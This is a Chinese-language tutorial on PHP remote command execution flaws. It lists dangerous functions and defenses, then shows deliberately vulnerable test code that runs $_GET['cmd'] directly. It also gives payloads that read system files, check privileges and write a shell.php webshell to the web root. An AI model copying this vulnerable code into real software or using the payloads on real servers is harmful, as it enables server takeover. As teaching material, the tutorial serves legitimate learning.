0x00 RCE漏洞 概述
- RCE = 命令執行+代碼執行
漏洞的產生原因
-
代碼層過濾不嚴。應用程序直接或間接使用了動態執行命令的危險函數 ,並且這個函數的運行參數是可控的
-
系統的漏洞造成命令注入
漏洞的本質
- 應用有時需要調用一些執行系統命令的函數,當服務器沒有嚴格過濾用戶提供的參數 時,就有可能導致用戶提交惡意代碼被服務器執行 ,從而造成命令執行漏洞。
涉及到的函數
-
PHP中常見的代碼執行函數
-
eval()、 assert()、 preg_replace()、create_function()
-
array_map()、call_user_func()、 call_user_func_array()、array_filter()
-
命令執行函數
-
system()、exec()、 popen()、 passthru()、 shell_exec()、反引號(``)
0x01 RCE漏洞 原理
- web應用對用戶的輸入沒有經過嚴格過濾就直接帶入危險函數中執行
0x02 RCE漏洞 危害
-
繼承 Web 服務器程序權限(Web 用戶權限),去執行系統命令
-
繼承 Web 服務器權限,讀寫文件
-
反彈 Shell
-
控制整個網站
-
控制整個服務器
0x03 RCE漏洞 防御
-
盡量 少使用執行命令函數 或者 禁用 disable_functions
-
在進入執行命令的函數之前,對參數進行過濾 ,對敏感字符進行轉義
-
參數值盡量使用引號包括 ,並在拼接前調用 addslashes 進行轉義
0x04 RCE漏洞 利用
相關函數使用
system()
-
說明:能夠將字符串作為 OS 命令執行,自帶輸出功能
-
測試參考代碼:
<meta charset='gb2312'>
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
system($_GET['cmd']);
}
?>
// 提交的URL:[?cmd= ipconfig]
passthru()
-
說明:執行外部命令,與 system()類似,但是該函數會直接將結果輸出 ,無需輸出執行
-
測試參考代碼:
<meta charset="gb2312">
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
passthru($_GET['cmd']);
}
// 提交的URL:[?cmd= ipconfig]
exec()
-
說明:能將字符串作為 OS 命令執行,但無輸出 ,需要輸出執行結果
-
注意:exec() 只輸出最后一行的數據
-
測試參考代碼:
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
print exec($_GET['cmd']);
}
?>
// 提交的URL:[?cmd=ipconfig]
shell_exec()
-
說明 L 執行命令並以字符串的形式,返回完整的信息,但是函數無回顯 ,需要輸出執行結果
-
測試參考代碼:
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
print shell_exec($_GET['cmd']);
}
?>
// 提交的URL:[?cmd=ipconfig]
popen()
-
說明:能夠執行 OS 命令,但是該函數並不是返回命令結果,而是返回一個文件指針
-
測試參考代碼:
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
$cmd=$_GET['cmd'].">> 1.txt";
popen($cmd,'r');
}
?>
// 提交的URL:[?cmd=whoami]
``(反引號)
-
說明:反引號[``]內的字符串,也會被解析成 OS 命令,背后調用的是 shell_exec() 函數
-
測試參考代碼:
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
$cmd=$_GET['cmd'];
print `$cmd`;
}
?>
// 提交的URL:[?cmd=whoami]
漏洞利用過程
- 權限問題
OS 命令注入漏洞,攻擊者直接繼承 WEB 用戶權限,在服務器上執行任意命令 ,危害特別大。以下命令均在 windows 系統下測試成功
- 提權過程
- 查看系統文件
payload:[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系統 hosts 文件
- 顯示當前路徑
payload:[?cmd=cd ]
- 顯示當前權限
payload:[?cmd=whoami ]
- 寫文件
payload:[?cmd=echo "" > C:\phpStudy\WWW\Command\shell.php]
頁面沒有報錯,說明文件寫入成功。訪問 shell.php 文件,同理我們可以寫入一個一句話木馬。